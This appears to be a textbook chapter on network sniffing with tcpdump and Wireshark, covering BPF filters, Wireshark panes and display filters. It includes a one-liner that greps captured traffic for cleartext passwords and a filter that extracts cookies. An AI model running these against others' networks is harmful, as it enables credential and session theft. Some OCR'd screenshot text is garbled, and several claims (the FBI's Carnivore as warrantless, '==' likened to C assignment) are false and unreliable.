u_str ESTAB	0	Ø	/run/dbus/system_bus_socket	3424327		* 3422187
u_str ESTAB	0	0		17090		* 15207
u_str ESTAB	0	0	@/tmp/.ICE-unix/858	15248		* 19067
u_str ESTAB	0	0		14013		* 14584
u_str ESTAB	0	0	/run/user/1000/bus	20572		* 21528
u_str ESTAB	0	0	@/tmp/.X11-unix/X0	19131		* 15261
u_dgr ESTAB	0	0		13919		* 13918
u_str ESTAB	0	0		17700		* 15098

Network Sniffers

A network sniffer—sometimes referred to as a packet analyzer, protocol analyzer, or network traffic analyzer—can intercept and analyze network traffic that traverses a digital network. These sniffers can be invaluable to the network or security engineer, the forensic investigator, and in some cases, the hacker. For instance, if an application sends passwords over the network unencrypted, the hacker may be able to sniff and view the passwords. Since only a few applications send passwords unencrypted in our security-conscious era, the value of the sniffer to the hacker is a bit more nuanced.

For some exploits/hacks, such as DNS or MiTM attacks, analysis of the LAN traffic can be crucial to their success, making the sniffer invaluable. Besides, sniffing a target's traffic can reveal what sites they are visiting, their cookies, their user agent, or even their email messages (if unencrypted or you have the resources to decrypt the message).

Many tools are capable of network sniffing, including:

- 1. SolarWinds Deep Packet Inspection and Analysis Tool
- 2. Tepdump
- 3. Windump
- 4. Wireshark
- 5. Network Miner
- 6. Capsa
- 7. tshark

In this chapter, we use two of the most popular network sniffer/analyzers: tcpdump and Wireshark. In addition, we use Wireshark to dig deep into the NSA's EternalBlue exploit to understand exactly how it works.

Controversial Use of Sniffers

For over twenty years, the Federal Bureau of Investigation (FBI) in the United States has used a tool they term "Carnivore." This tool is used to sniff and analyze the traffic of people suspected of committing crimes. It is very controversial but legal, as it allows the FBI to eavesdrop on network traffic without a warrant.

Prerequisites to Sniffing

It's critical to point out that to effectively use a network sniffer, your network interface card (NIC) should be in promiscuous mode. This means that your NIC picks up ANY packet traversing the network. Usually, NICs only pick up packets that are intended for their particular MAC (globally unique physical) address.

The other critical point to understand with network sniffing is that the standard file format for sniffing is .pcap (packet capture). This means your system must have a library (a bit of reusable code) to put the packets in this format. These libraries are libpcap on your Linux system or Winpcap on Windows system.

tcpdump in Action

Before we examine the powerful GUI-based sniffer Wireshark, let's take a brief look at the command line sniffer, tcpdump. Tcpdump was among the very first (1988) Linux/UNIX based sniffers. Although it may not be the easiest sniffer to use, its versatility and lightweight design make it worth knowing. Tcpdump can be particularly useful if you have to analyze a non-GUI based system or a remote system where a GUI would be slow, inefficient, and not very stealthy.

To start tcpdump, enter;

kali >tcpdump

<pre>root@kali-2019:~# tcpdump</pre>
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:07:04.062010 IP 192.168.0.233.57656 > 239.255.255.250.1900: UDP, length 174
16:07:04.064714 ARP, Request who-has gateway tell kali-2019, length 28
16:07:04.066317 ARP, Reply _gateway is-at b0:be:76:08:b5:3c (oui Unknown), length 46
16:07:04.066326 IP kali-2019.35833 > _gateway.domain: 15132+ PTR? 250.255.255.239.in-addr.arpa. (46)
16:07:04.080311 IP _gateway.domain > kali-2019.35833: 15132 NXDomain 0/1/0 (103)
16:07:04.080872 IP kali-2019.59304 > _gateway.domain: 50202+ PTR? 233.0.168.192.in-addr.arpa. (44)
16:07:04.095554 IP _gateway.domain > kali-2019.59304: 50202 NXDomain 0/0/0 (44)
16:07:04.096001 IP kali-2019.43942 > _gateway.domain: 28517+ PTR? 1.0.168.192.in-addr.arpa. (42)
16:07:04.111351 IP _gateway.domain > kali-2019.43942: 28517 NXDomain 0/0/0 (42)
16:07:04.111687 IP kali-2019.42176 > _gateway.domain: 23623+ PTR? 173.0.168.192.in-addr.arpa. (44)
16:07:04.126300 IP _gateway.domain > kali-2019.42176: 23623 NXDomain 0/0/0 (44)
16:07:05.063842 IP 192.168.0.233.57656 > 239.255.255.250.1900: UDP, length 174
16:07:07.587418 IP _gateway.59364 > 224.0.0.251.mdns: 22437 PTR (QM)? 192.168.0.152.in-addr.arpa. (44)
16:07:07.587576 IP kali-2019.44754 > _gateway.domain: 30429+ PTR? 251.0.0.224.in-addr.arpa. (42)
16:07:07.587774 IP _gateway.54033 > 224.0.0.251.mdns: 22438 PTR (QM)? 192.168.0.152.in-addr.arpa. (44)
16:07:07.601171 IP _gateway.domain > kali-2019.44754: 30429 NXDomain 0/1/0 (99)

As you can see, as soon as you enter the command, tcpdump, packets begin to flow across your screen. These packets are largely communication between your Kali system and the LAN gateway.

Let's try creating some traffic to analyze. For instance, let's try sending a ping (ICMP echo request) to your Windows 7 system from one terminal and running tcpdump from the other.

kali > ping 192.168.0.114

kali > tcpdump

root@kali-2019: ~	root@kali-2019: ~	000
ile Edit View Search Terminal Help	File Edit View Search Terminal Help	
bytes from 132.168.0.114 MD 322.168.0.114 MD 322.168.0.114 109.128.0.119.128.0.114 109.128.0.119.128.0.114 109.128.0.119.128.0.114 109.114 109.114 109.114 109.114 109.114 109	<pre>rost@all.edust.edusp topUmp: verbose autout suppressed, use -v or -vv for full protocol decode listening on etho. Link-type BND98 [Cthernel], capture size 20244 bytes 16:12:06.770314 fb 202.108.0.014 bits 10:2031; CHOP ethor reply of 250811, eq 16:12:05.770304 fb 202.108.0.014 bits 10:2031; CHOP ethor reply of 250811, eq 16:12:05.770304 fb 202.108.0.014 bits 10:2031; CHOP ethor reply of 250811, eq 16:12:05.770304 fb 202.108.0.014 bits 10:2031; CHOP ethor reply of 250811, eq 16:12:05.770304 fb 202.108.0.014 bits 10:2031; CHOP ethor reply of 250811, eq 16:12:05.70304 fb 202.108.0.014 bits 10:203.37059; SDBS NGD0main 0/0/0 (1 16:12:05.0849701 fb kall:2019.37059 > _gsterwy.domain: 32939 FHT 10.10.108.102 16:12:05.0849701 fb 10:12:003.7014 bits 2010.77059; SDBS NGD0main 0/0/0 (1 16:12:05.0849701 fb 10:12:019.37014 bits 2010.77014 fb 10:100 ethor reput; 1, 12:3081, ste 16:12:07.790407 fb 10:12:019 > 130.168.0.114; CHOP ethor reput; 1, 12:3081, ste 16:12:07.790407 fb 10:12:019 > 130.168.0.114; CHOP ethor reput; 1, 12:3081, ste 16:12:07.790407 fb 10:12:019 - 302.108.0.114 bits 10:12:019.07045 fb 10:12:05.253.255. 10:12:07.970407 fb 10:12:019 - 302.108.0.114 bits 10:12:019.753747; UD, Flength 173 10:12:07.970407 fb 40:12:049.4860 bits 10:009 ethor reput; 1, 12:3081, ste 10:12:07.970407 fb 40:12:049.4860 bits 10:009 ethor reput; 1, 12:3081, ste 10:12:07.970407 fb 40:12:049.4860 bits 10:009 ethor reput; 1:052.253.255. 10:12:07.970407 fb 40:12:009 Jb 40:12:019 JB 50:12:000 fb 10:000 reput; 1:052.555.255. 10:12:07.7790407 fb 40:12:019 Jb 40:12:019 JB 50:12:000 fb 10:000 reput; 1:052.557. 10:12:07.7790407 fb 40:12:019 JB 40:12:019 JB 50:12:000 fb 10:000 reput; 1:052.555.255. 10:12:07.7790407 fb 40:12:000 JB 40:12:000 fb 10:000 reput; 1:052.557.557. 10:12:07.7790407 fb 40:12:000 JB 40:12:000 fb 10:000 reput; 1:052.557.557.557.577.17000 (reput) 173 10:12:07.7790407 fb 40:12:000 JB 40:000 JB 40:0000 reput; 1:02:257.7757.77700 (reput) 173 10:12:00.778990 ABP, Reput; 10:1000 fb 10:13:000 rep:776:12:000 fb 10:0000000000000000</pre>	 length 64 length 64 s2.in-addr.arpa. s2.in-addr.arpa. in-addr.arpa. (4) in-addr.arpa. (4) q4, length 64 length 64 length 64 length 64 s.length 64 s.length 64 length 64

Let's zoom in on the tcpdump screen so we can see detail there.



As you can see, tcpdump displays the protocol (ICMP) and the type (echo request and echo reply).

If we want to capture the output to a file where we can analyze it at a later time, we can use the –w option followed by the file name.

kali > tcpdump -w myoutput.cap

Filter by IP Address

We may want to filter out all the traffic except the traffic coming back from the Windows 7 system. Tcpdump, developed by researchers at the Lawrence Livermore National Laboratory in Berkeley, CA, running BSD Unix, utilizes the Berkeley Packet Filter (BPF) format to create filters. We can create that filter for the Windows 7 IP address by entering:

```
kali > tcpdump host 192.168.0.114
```

<pre>root@kali-2019:~# tcpdump host 192.168.0.114</pre>
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
09:47:40.607043 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 7, length 64
09:47:40.607894 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 7, length 64
09:47:41.608042 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 8, length 64
09:47:41.608845 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 8, length 64
09:47:42.608665 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 9, length 64
09:47:42.609332 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 9, length 64
09:47:43.609607 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 10, length 64
09:47:43.610432 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 10, length 64
09:47:44.611175 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 11, length 64
09:47:44.611988 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 11, length 64
09:47:45.612675 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 12, length 64
09:47:45.613353 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 12, length 64
09:47:46.616533 IP kali-2019 > 192.168.0.114: ICMP echo request, id 28115, seq 13, length 64
09:47:46.617399 IP 192.168.0.114 > kali-2019: ICMP echo reply, id 28115, seq 13, length 64

Now you can see just the traffic coming and going to the Windows 7 system as we have filtered out all the other traffic.

Now, let's connect to the Apache web server on our Kali machine from your Windows 7 system. First, start the Apache2 web server built into Kali.

kali > systemctl apache2 start

This starts your Apache webserver. Next, start tcpdump again on your Kali system.

kali > tcpdump host 192.168.0.114

Now, open a browser on your Windows 7 system and navigate to the Kali system IP address.

You should begin to see packets appearing in the tcpdump terminal.

<pre>root@kali-2019:~# tcpdump host 192.168.0.114</pre>
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
09:51:51.186494 ARP, Request who-has gateway tell 192.168.0.114, length 46
09:51:51.195764 ARP, Reply gateway is-at b0:be:76:08:b5:3c (oui Unknown), length 46
09:51:56.212085 ARP, Request who-has 192.168.0.114 tell _gateway, length 46
09:51:58.214731 ARP, Request who-has kali-2019 tell 192.168.0.114, length 46
09:51:58.214749 ARP, Reply kali-2019 is-at 08:00:27:9e:13:2d (oui Unknown), length 28
09:51:58.214997 IP 192.168.0.114.49744 > kali-2019.http: Flags [S], seq 1495846102, win 8192, options [mss 146
0,nop,wscale 8,nop,nop,sackOK], length 0
09:51:58.215016 IP kali-2019.http > 192.168.0.114.49744: Flags [S.], seq 1383202157, ack 1495846103, win 29200
, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
09:51:58.215228 IP 192.168.0.114.49744 > kali-2019.http: Flags [.], ack 1, win 256, length 0
09:51:58.215406 IP 192.168.0.114.49744 > kali-2019.http: Flags [P.], seq 1:441, ack 1, win 256, length 440: HT
TP: GET / HTTP/1.1
09:51:58.215429 IP kali-2019.http > 192.168.0.114.49744: Flags [.], ack 441, win 237, length 0
09:51:58.216329 IP kali-2019.http > 192.168.0.114.49744: Flags [P.], seq 1:3381, ack 441, win 237, length 3380
: HTTP: HTTP/1.1 200 0K

Note that we can see the three-way TCP handshake in the highlighted polygon. You can see first an "S" flag, then an "S." flag (tcpdump represents the A or ACK flag with a "."), and then a "." flag or written another way, S-SYN/ACK-ACK.

This filter displays traffic coming and going from our Windows 7 system. If we want to filter for just the traffic coming FROM our Windows 7 system, we can create a filter like;

kali > tcpdump src host 192.168.0.114

<pre>root@kali-2019:~# tcpdump src host 192.168.0.114</pre>				
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode				
listening on eth0, <u>link-type EN10</u> MB (Ethernet), capture size 262144 bytes				
16:49:36.953749 IP 192.168.0.114 49895 > kali-2019.http: Flags [S], seq 1049926987, win 8192, options [mss 146				
0,nop,wscale 8,nop_nop,sack0K], length 0				
16:49:36.953924 IP 192.168.0.114 49895 > kali-2019.http: Flags [.], ack 1212929604, win 256, length 0				
16:49:36.954080 IP 192.168.0.114 49895 > kali-2019.http: Flags [P.], seq 0:440, ack 1, win 256, length 440: HT				
TP: GET / HTTP/1.1				
16:49:36.955356 IP 192.168.0.114 49895 > kali-2019.http: Flags [.], ack 3381, win 256, length 0				
16:49:36.979218 IP 192.168.0.114 49895 > kali-2019.http: Flags [P.], seq 440:849, ack 3381, win 256, length 40				
9: HTTP: GET /icons/openlogo-75.png HTTP/1.1				
9: HTTP: GET /icons/openlogo-75.png HTTP/1.1				

Now, we are only seeing the traffic coming (src) from our Windows 7 system (192.168.0.114).

Filter by Port

What if we wanted to filter out all the traffic except those going to a particular port on our Apache web server? Let's try to filter out everything except traffic going to port 80 (HTTP). If we use the –vv option (very verbose), tcpdump will decode all the IP and TCP headers and the user agent (the user agent can often be used to identify the user). To get these results, we could write a filter such as:

kali > tcpdump -vv dst port 80

root@kali-2019:~# tcpdump -vv dst port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:58:25.751899 IP (tos 0x0, ttl 128, id 26294, offset 0, flags [DF], proto TCP (6), length 52)
192.168.0.114.49900 > kali-2019.http: Flags [S], cksum 0xf007 (correct), seq 1277349177, win 8192, options
[mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
16:58:25.752078 IP (tos 0x0, ttl 128, id 26295, offset 0, flags [DF], proto TCP (6), length 40)
192.168.0.114.49900 > kali-2019.http: Flags [.], cksum 0xa647 (correct), seq 1277349178, ack 2056859370, w
in 256, length 0
16:58:25.752228 IP (tos 0x0, ttl 128, id 26296, offset 0, flags [DF], proto TCP (6), length 480)
192.168.0.114.49900 > kali-2019.http: Flags [P.], cksum 0x6ff9 (correct), seq 0:440, ack 1, win 256, lengt
h 440: <u>HTTP. length: 440</u>
GET / HTTP/1.1
Host: 192.168.0.173
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive User Agent
Upgrade-Insecure-Requests: 1
If-Modified-Since: Wed, 30 Jan 2019 07:12:29 GMT
If-None-Match: "29cd-580a7alfa9140-gzip"
Cache-Control: max-age=0

Filter by TCP Flags

What if we wanted to see only the traffic with SYN flags sets on it? We could create a filter like this:

```
kali > tcpdump 'tcp[tcpflags]==tcp-syn'
```



Of course, we can create a filter for each of the TCP flags, such as;

```
kali > tcpdump `tcp[tcpflags]==tcp-ack'
kali > tcpdump `tcp[tcpflags]==tcp-fin'
kali > tcpdump `tcp[tcpflags]==tcp-rst'
kali > tcpdump `tcp[tcpflags]==tcp-psh'
kali > tcpdump `tcp[tcpflags]==tcp-urg'
```

Combining Filters

Tcpdump enables us to use filters together using a logical AND (&&) or a logical OR (||). So, if we wanted to filter for a particular IP address and TCP port 80 we would create a filter such as:

kali > tcpdump host 192.168.0.114 and port 80

We can also use a logical OR, such as AnonGhostNetwork

kali > tcpdump port 80 or port 443

If we want to see all the traffic **except** that traveling from a particular IP address, we can use the negation symbol (!) or not.

kali > tcpdump not host 192.168.0.114

Filtering for Passwords and Identifying Artifacts

To filter for passwords in cleartext, we could build a filter for various ports and then use egrep to search for strings indicating logins or passwords.

kali > tcpdump port 80 or port 21 or port 25 or port 110 or port 143 or port 23 –lA | egrep –i B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|password='

Finally, if you want to filter for just the user agent (an identifying signature of the user and their browser) we could create a filter such as:

kali > tcpdump -vvAls | grep 'User-Agent'

<pre>root@kali-2019:~# tcpdump -vvAls0 grep 'User-Agent' tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes</pre>	
tendumn, listening on other link type ENIOMP (Ethernet) conture size 262144 bytes	
ccpdump: ciscening on echo, cink-cype ENIOMB (Echernec), capture size 202144 bytes	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0	

Finally, to filter for just the browser cookies, we can create the following filter.

```
kali > tcpdump -vvAls | grep 'Set-Cookie|Host|Cookie:'
```

tcpdump is a powerful command-line tool for analyzing network traffic with multiple capabilities. Time invested in learning its BPF-based filtering system is time well invested. As a security admin or hacker, you may not have access to a GUI on a remote system, and tcpdump is the tool of choice.

Wireshark, the Gold Standard in Sniffers/Network Analyzers

In recent years, Wireshark has become the de-facto standard in sniffers. Formerly known as Ethereal, it is now part of nearly every network or security admin's tool chest. Kali has Wireshark built-in, so we can start Wireshark by simply entering Wireshark in the terminal or using the GUI; go to Applications-->09 Sniffing and Spoofing>Wireshark. @AnonGhostNetwork



Wireshark now opens and asks you which interface you would like to listen on. If you are using a VM, select the **eth0.** Select the wireless adapter if you are using a physical machine with a wireless adapter (probably wlan0). Usually, you can determine which adapter to select by activity level. The most active adapter is likely the one you want to use for sniffing.

🚄 The Wiresh	ark Network Analyzer		-	- 🗆 X		
	ew Go Capture Analyze Statistics Teleph	<u> </u>	Help			
🧧 🔳 🙇 😣	📙 🛱 🛍 9, 🗢 🗢 🕾 🗿 💆 📃	🔳 Q Q Q 🎚				
Apply a displa	y filter <ctrl-></ctrl->			Expression +		
	Welcome to Wireshark Capture					
-	using this filter: Enter a capture filter		 All interfaces shown 	-		
	Ethernet Local Area Connection* 2 Bluetooth Network Connection Wi-Fi					
	Learn					
	User's Guide · Wiki · Questions and Answers · Mailing Lists					
	You are running Wireshark 2.6.3 (v2.6.3-0-ga62e6c27). You receive automatic u	pdates.			
Ready to leady to	oad or capture	No F	Packets	Profile: Default		

Now, Wireshark begins capturing packets from your network interface and packaging them into the .pcap format. Pcap is the standard file format for packet capture (you find it used throughout our industry in such products as Snort, aircrack-ng, and many others)

@AnonGhostNetwork

You see three separate analysis windows in Wireshark. The top window, labeled #1 in the screenshot below, is known as the **Packet List Pane**. You should see color-coded packets moving in real time through this window.

	Captu	- C																					-	-			×
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No.		Time			So	urce					De	estina	ation	1			Pro	tocol	Le	ngth	Info						^
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	18222	150.	9806	39	19	2.16	8.1	.1			2	39.2	255.	255	.250			DP						TP/1		1	
	18223					2.16								255				DP						TP/1			
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	18225					2.16			·					9.3	-			Sv1.	2					Dat			
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The middle window, labeled #2, is known as the **Packet Details Pane**. This pane provides us with header information from the selected packet in Window #1.

Finally, Window #3, **Packet Bytes Pane**, provides payload information in both the hexadecimal format to the left and the ASCII format to the right.

Creating Filters in Wireshark

In general, there is way too much information here to do an effective analysis. Packets are flying by, hundreds or thousands per minute. To use Wireshark effectively, we need to filter the traffic to see only those packets of interest. Wireshark has a simple filtering language that you should understand to use effectively and efficiently in any investigation or analysis.

The packets flying by our interface are of many different protocols. Probably the first filter we want to apply is a protocol filter. Remember, TCP/IP is a suite of protocols, and we probably want to focus our analysis on just a few.

In the filter window, type "tcp." You notice that it turns green, indicating that your syntax is correct (it remains pink while your syntax is incorrect). Now, click the arrow button to the far right of the filter window to apply the filter.

🧟 *Wi-Fi		- 🗆 X	
	alyze Statistics Telephony Wireless Tools H	lep	
<u>/ = / @</u>	⇔⇔≊₹∮⊉ ⊒ 🔍 Q, Q, 11		
- top 🔨		Expression +	
No. Time Source	Destination Protocol	Length Info	`
2336 115.503987 54.88.124		738 Application Data	
2337 115.558685 192.168.1		54 49702 → 443 [ACK] Seq=226 Ack=126928 Win=64 Len=0	
2338 116.012908 54.88.124		434 Application Data	
2339 116.058253 192.168.1		54 49702 + 443 [ACK] Seq=226 Ack=127308 Win=68 Len=0	
2340 116.319892 54.148.17		761 Application Data	
2341 116.374616 192.168.1		54 49704 → 443 [ACK] Seq=226 Ack=123998 Win=65 Len=0	
2342 116.525029 54.88.124	4.1 192.168.1.107 TLSv1.2	426 Application Data	1
> Secure Sockets Layer			
	9c 97 4f 48 08 00 45 00 0·zU<··% ··OH··	E·	
0000 30 e3 7a 55 3c 05 00 25 9			
0010 01 b5 c8 95 40 00 e7 06 2			
0010 01 b5 c8 95 40 00 e7 06 2 0020 01 6b 01 bb c2 28 78 84 1			
0010 01 b5 c8 95 40 00 e7 06 2 0020 01 6b 01 bb c2 28 78 84 4 0030 00 75 db 56 00 00 17 03	03 01 88 fb ce eb 66 20 ·u·V····	f	
0010 01 b5 c8 95 40 00 e7 06 2 0020 01 6b 01 bb c2 28 78 84 4	03 01 88 fb ce eb 66 20 ····V···· 51 5b ef c2 42 4d da 29 ····N·· Q[··B ^N	f •-)	
0010 01 b5 c8 95 40 00 e7 06 0020 01 bb 01 bb c2 28 78 84 6 0030 00 75 d5 60 00 17 03 6 0040 85 57 d2 04 84 46 88 d6 0050 00 24 ae 73 83 ba 47 6 0050 00 24 ae 73 83 ba 47 6	03 01 88 fb ce eb 66 20 · u·V····Q[···B 51 5b ef c2 42 4d da 29 · _····N·Q[···B 84 80 5c b5 57 0c db 7b · \$s···G · \₩ b3 a 45 03 0e 76 ba 53 · ···+E···	₹ \} -{	
001 01 b5 c8 95 40 00 e7 06 0020 01 6b 01 b6 c2 28 78 44 0030 00 75 d5 60 00 17 03 0040 85 5f d2 04 d8 4e 88 d6 9 0040 85 5f d2 04 d8 4e 88 d6 9 0050 00 24 ae 73 83 b2 a0 7 8 04 4e 04 4e 18 3a ba 17 16 04 4e 18 3a ba 18 13 bb 10 0470 fa 5a 60 71 fc 6c 17 fc 6c 17 fc 6c 16 16 16 16 16 16 16 16 16 <td< td=""><td>03 01 88 fb ce eb 66 20 ····V· 51 5b ef c2 42 4d da 29 ····N· Q[··B 84 80 5c b5 57 0c db 7b ···V· 55 s ···G ···V·· 88 c2 80 65 6d fc 2f 2c ···`q·&··œ</td><td>f (-) (-{ (-) (-) (-) (-) (-) (-) (-) (-)</td><td></td></td<>	03 01 88 fb ce eb 66 20 ····V· 51 5b ef c2 42 4d da 29 ····N· Q[··B 84 80 5c b5 57 0c db 7b ···V· 55 s ···G ···V·· 88 c2 80 65 6d fc 2f 2c ···`q·&··œ	f (-) (-{ (-) (-) (-) (-) (-) (-) (-) (-)	
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When you do, Wireshark filters out all traffic except the TCP traffic. You can do the same for just about any protocol, such as "http," "smtp," "udp," "dns", and many others. Try out a few and see what traffic is passing your interface.

If we want to see traffic only from a particular IP address, we can create a filter that only shows traffic coming or going from that address. We can do that by entering at the filter window:

ip.addr==<IP address> @AnonGhostNetwork

Note the double equal sign (==) in the Wireshark filter syntax (similar to C assignment operator). A single "=" does not work in this syntax.

In my case here, I want to see traffic coming or going to IP address 192.168.1.107, so I create a filter like so:

ip.addr == 192.168.1.107

	*Wi-Fi						- D	×
_		Capture Analyze Statisti	cs Telephony Wireles	s Tools Hel	p			
1		x © q ↔ ⇔ ≊ 7						
. ip	o.addr = = 192.168.1.107					×	Expression.	. +
No.	Time	Source	Destination	Protocol I	Length Info			^
	9667 371.850453	192.168.1.107	54.148.172.173	TCP	54 49704 → 443 [ACK] Seq=901 Ack=3857	707 Win=63 Len=0		
	9668 372.931905	54.88.124.1	192.168.1.107	TLSv1.2	443 Application Data			
	9669 372.985533	192.168.1.107	54.88.124.1	TCP	54 49702 → 443 [ACK] Seq=901 Ack=4069	955 Win=63 Len=0		
	9670 373.021211	185.230.61.166	192.168.1.107	TLSv1.2	85 Application Data			
	9671 373.021795	192.168.1.107	185.230.61.166	TLSv1.2	89 Application Data			
	9672 373.057081	185.230.61.166	192.168.1.107	TCP	60 443 → 64875 [ACK] Seq=956 Ack=1056	5 Win=17796 Len=0		
L	9673 373.954933	54.148.172.173	192.168.1.107	TLSv1.2	128 Application Data			~
> 5	ecure Sockets Lay	er						
000	0 30 e3 7a 55 3c	05 00 25 9c 97 4f 48	08 00 45 00 0-714	···% ··OH··F				•
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005		85 13 bb 2b 3a 45 03		···· +:E···v·				
007		fc 26 c6 88 c2 80 65		1.&· ···em·/				
008		ef b6 82 2b 84 5d 2d		···· +·]-3`7				~
•	wireshark_966757	61-AB3C-44DA-8BC5-EE16DA6	C0807_20180917140917_a0	7760.pcapng		Packets: 9673 · Displayed: 7690 (79.5%)	Profile: Def	fault

Now, you see only traffic coming or going to that IP address. Now my analysis is narrowed to a single IP address of interest.

We can also filter traffic by port. If I want to see only TCP traffic destined for port 80, I can create a filter like that below;

tcp.dstport==80

@AnonGhostNetwork

File Edit View Go Capture Analyze Statistics Telephony Wireles Tools Help Impediation C C C M C C C C C C C C C C C C C C C C		*Wi-Fi					- 0	×
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154 152:221 192:168.1.107 144.85.396.57 TCP 54.4990.9 + 80 [ACC] 5eq2-Ack+Win-68 Lene 154 75.59055 192:168.1.107 144.35.204.69 TCP 54.4990.9 + 80 [ACC] 5eq2-Ack+Win-68 Lene 1969 75.550555 192:168.1.107 144.35.204.69 TCP 54.4990.9 + 80 [ACC] 5eq2-Ack+Win-65 Lene 1909 95.27553 192:168.1.107 144.35.204.104 TCP 54.4997.4 + 80 [ACC] 5eq2-Ack+Win-65 Lene 1909 95.27553 192:168.1.107 124.35.204.104 TCP 54.4997.4 + 80 [ACC] 5eq2-Ack+Win-65 Lene 6740 206.5235 12:168.1.107 124.35.204.104 TCP 54.4997.4 + 80 [ACC] 5eq2-Ack+Win-65 Lene 740 206.5235 12:168.1.107 124.35.204.104 TCP 54.4997.4 + 80 [ACC] 5eq2-Ack+Win-65 Lene MS-1400 M5-256 5ACK_PER+1 740 206.5235 12:168.1.107 124.486 Lene MS-1400 M5-256 5ACK_PER+1 740 206.5235 12:168.1.107 Dit 148.6.196.57 Dit 144.105 Lene MS-1400 M5-256 S	No.	Time	Source	Destination	Protocol	Length Info		^
1544 75:59777 192.168.1.107 184.25:204.09 TCP 54 4093 + 80 [TM, ACC] Sege1 Ack+1 kin-65 Len+0 1546 75:55955 192.168.1.107 184.25:204.09 TCP 54 4093 + 80 [CM, Sc] Sege1 Ack+1 kin-65 Len+0 1999 95:22831 192.168.1.107 184.25:204.104 TCP 54 4093 + 80 [CM, Sc] Sege1 Ack+1 kin-65 Len+0 1999 95:22831 192.168.1.107 184.25:204.104 TCP 54 40974 + 80 [CM, Sc] Sege1 Ack+1 kin-66 Len+0 6740 200.65235 192.168.1.107 72.167.18.230 TCP 66 4094 4 + 80 [SV] Sege1 Ack+1 kin-66 Len+0 6740 200.652365 192.165.1.107 72.167.18.230 TCP 66 4094 4 + 80 [SV] Sege1 Ack+1 kin-66 Len+0 5 Prame 532: 54 bytes on wire (422 bits), 54 bytes captured (422 bits) on interface 0 56.4004 4 + 80 [SV] Sege1 Ack+1 kin-80 [SS-1460 MS-256 54CC_PERH=1 5 Prame 532: 54 bytes on wire (422 bits), 54 bytes captured (422 bits) on interface 0 56.4004 4 + 80 [SV] Sege1 Ack+1 kin-60 [SS-1460 MS-256 54CC_PERH=1 5 Prame 532: 54 bytes on wire (422 bits), 54 bytes captured (432 bits) on interface 0 56.4004 5 + 4.000 [SS-1460 MS-256 54CC_PERH=1 5 Prame 532: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0 56.4004 5 + 4.000 [SS-1460 MS-256 54CC_PERH=1 5 Prame 532: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0 57.4000 [SS-1460 MS-256	Г							
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1097 95.22831 192.166.1.107 184.25.284.104 TCP 54.4974 + 80 [TH, ACC] Segn-1 Act-1 Min-68 Lenn® 1099 95.2753 192.166.1.107 184.25.284.104 TCP 54.4974 + 80 [CH, ACC] Segn-2 Act-2 Min-68 Lenn® 6749 209.652365 192.166.1.107 72.167.18.299 TCP 66.4994 + 80 [CM] Segn-4 Act-2 Min-68 Lenn® 6749 209.652365 192.166.1.107 72.167.18.299 TCP 66.4994 + 80 [CM] Segn-4 Act-2 Min-68 Lenn® 6749 209.652365 192.165.1.107 72.167.18.299 TCP 66.4994 + 80 [CM] Segn-4 Act-2 Min-104 6749 209.652365 192.165.1.107 72.167.18.299 TCP 66.4994 + 80 [CM] Segn-4 Act-2 Min-104 6749 209.652375 192.165.1.107 72.167.18.299 TCP 54.4974 + 80 [CM] Segn-4 Act-2 Min-104 747 100 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 747 100 Segn-4 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 747 100 Segn-4 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 747 100 Segn-4 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104 Segn-4 Act-2 Min-104								
